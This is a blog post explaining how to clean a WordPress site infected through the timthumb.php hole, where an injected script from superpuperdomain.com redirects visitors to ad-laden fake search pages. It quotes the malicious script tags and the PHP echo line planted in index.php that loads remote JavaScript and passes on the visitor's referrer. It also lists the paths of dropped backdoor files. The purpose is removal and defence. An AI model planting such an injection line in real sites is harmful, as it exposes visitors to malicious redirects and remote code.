WordPress hack: Superpuperdomain.com – How to Remove it
Divi WordPress Theme

WordPress hack: Superpuperdomain.com – How to Remove it

A few days ago a new PhpRemoteView hack, a malicious JavaScript loading from superpuperdomain.com/count.php, attacked many WordPress website, including some of mine. There are already a few discussions on this topic and it was a pretty difficult to find a reliable source how to get rid of this problem, but a few websites like tbogard.com and techspheria.com introduce interesting solutions, which I combined together and first tested on my sites, before wraining this article (it worked on my WP blogs btw:)

Don’t forget to

Subscribe to Email Newsletter, Follow us on Twitter and Like us on Facebook – for recent updates.

Generally, the JavaScript

<script language="javascript" src="https://superpuperdomain.com/count.php?ref...></script>

redirects visitors that were going to the WordPress site to fake search engines full of ads. To check if you have it (except the obvious- redirection:), try to find a similar chunk of code on your homepage (it should appear just at the end of the html code, behind the closing body tag:

<script language="javascript" SRC="http://superpuperdomain.com/count.php?ref=http%3A%2F%2Fsite.com%2Fdif%2F"></script>

It is caused by a security vulnerability in timthumb.php (also known as tumb.php), which is is a free PHP script that resizes images used by many WP themes developers. Many great WP themes use that script including Elegant Themes, so if you haven’t updated your theme during the last 5 days, your website is probably infected by it! Here is a step by step solution…

How to get rid of this superpuperdomain.com’s Javascirpt Malware:

  • Go to your index.php and delete the following code:
    echo '<script type="text/javascript" language="javascript" src="https://superpuperdomain.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']).'"></script>';
    remember about leaving ?> at the end of the code!
  • Search for the following files on your server and delete them:
      /wp-admin/js/config.php
      /wp-admin/common.php
      /wp-admin/udp.php
      /wp-content/udp.php

    Those files are added by hackers and are a part of the phpRemoteView hack, but just in case back up those files (do not open them!!!).

  • Update the Timthumb.php
    As the creator of this plugin has been informed about this issue a few days ago, the latest corrected versionis already has been created and is available to download here:  http://code.google.com/p/timthumb/ so please upload it to your server to replace to old version of Timthumb.php with the new file.
  • Make sure that your file permissions are correctly set.According to WP – Security Scan (which I personally use on a few sites), I set the following permissions:

    but I also recommend this WordPress article on that

  • At the end, you can also block the http://superpuperdomain.com’s IP addresses in your htttaccess file add so additional rules to the httaccess file itself.
  • Finaly scane your website for Malware on http://sitecheck.sucuri.net/scanner/

I hope that all of that help you, but let me know if you come across any more problems with that Malware.

Written by
Suresh Patel
Join the discussion

5 comments

Let’s get social

Web design blog for professionals with topics focusing on useful design techniques, design best practices and design inspiration. Subscribe for updates!

15585

JOIN OUR GROWING LIST OF SUBSCRIBERS!

Following our blog is a great way to make sure that you are up to date on the latest and greatest Freebies and WordPress news.

15856